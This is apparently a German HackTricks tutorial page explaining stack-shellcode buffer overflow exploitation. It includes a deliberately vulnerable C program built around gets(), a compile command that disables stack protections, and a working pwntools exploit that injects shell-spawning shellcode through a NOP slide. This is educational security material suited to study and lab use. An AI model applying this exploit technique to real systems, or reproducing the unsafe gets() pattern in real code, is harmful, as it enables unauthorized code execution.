7.5 KiB
Stack Shellcode
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Grundlegende Informationen
Stack-Shellcode ist eine Technik, die bei der binären Ausnutzung verwendet wird, bei der ein Angreifer Shellcode in den Stack eines anfälligen Programms schreibt und dann den Instruktionszeiger (IP) oder den Erweiterten Instruktionszeiger (EIP) so ändert, dass er auf die Position dieses Shellcodes zeigt, wodurch dieser ausgeführt wird. Dies ist eine klassische Methode, um unbefugten Zugriff zu erlangen oder beliebige Befehle auf einem Zielsystem auszuführen. Hier ist eine Aufschlüsselung des Prozesses, einschließlich eines einfachen C-Beispiels und wie Sie möglicherweise ein entsprechendes Exploit mit Python und pwntools schreiben würden.
C-Beispiel: Ein anfälliges Programm
Beginnen wir mit einem einfachen Beispiel eines anfälligen C-Programms:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Dieses Programm ist anfällig für einen Pufferüberlauf aufgrund der Verwendung der gets()
-Funktion.
Kompilierung
Um dieses Programm zu kompilieren und dabei verschiedene Schutzmechanismen zu deaktivieren (um eine verwundbare Umgebung zu simulieren), können Sie den folgenden Befehl verwenden:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: Deaktiviert den Stack-Schutz.-z execstack
: Macht den Stack ausführbar, was für die Ausführung von Shellcode, der im Stack gespeichert ist, erforderlich ist.-no-pie
: Deaktiviert Position Independent Executable, was es einfacher macht, die Speicheradresse vorherzusagen, an der unser Shellcode platziert wird.-m32
: Kompiliert das Programm als 32-Bit ausführbare Datei, oft für die Einfachheit bei der Entwicklung von Exploits verwendet.
Python Exploit mit Pwntools
So könnten Sie einen Exploit in Python mit pwntools schreiben, um einen ret2shellcode-Angriff durchzuführen:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
Dieses Skript konstruiert eine Nutzlast, die aus einem NOP-Slide, dem Shellcode und dann dem Überschreiben des EIP mit der Adresse besteht, die auf den NOP-Slide zeigt, um sicherzustellen, dass der Shellcode ausgeführt wird.
Der NOP-Slide (asm('nop')
) wird verwendet, um die Wahrscheinlichkeit zu erhöhen, dass die Ausführung unabhhängig von der genauen Adresse in unseren Shellcode "rutscht". Passen Sie das Argument von p32()
an die Startadresse Ihres Buffers plus einen Offset an, um im NOP-Slide zu landen.
Schutzmaßnahmen
- ASLR sollte deaktiviert sein, damit die Adresse über verschiedene Ausführungen hinweg zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, ist nicht immer gleich und Sie bräuchten ein Leck, um herauszufinden, wo die Win-Funktion geladen ist.
- Stack Canaries sollten ebenfalls deaktiviert sein, da die kompromittierte EIP-Rückgabeadresse niemals verfolgt wird.
- NX Stack-Schutz würde die Ausführung des Shellcodes im Stack verhindern, da dieser Bereich nicht ausführbar wäre.
Weitere Beispiele & Referenzen
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64-Bit, ASLR mit Stack-Adressenleck, Schreiben von Shellcode und Sprung dazu
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32-Bit, ASLR mit Stack-Leck, Schreiben von Shellcode und Sprung dazu
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32-Bit, ASLR mit Stack-Leck, Vergleich zur Verhinderung des Aufrufs von exit(), Überschreiben einer Variablen mit einem Wert und Schreiben von Shellcode und Sprung dazu
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.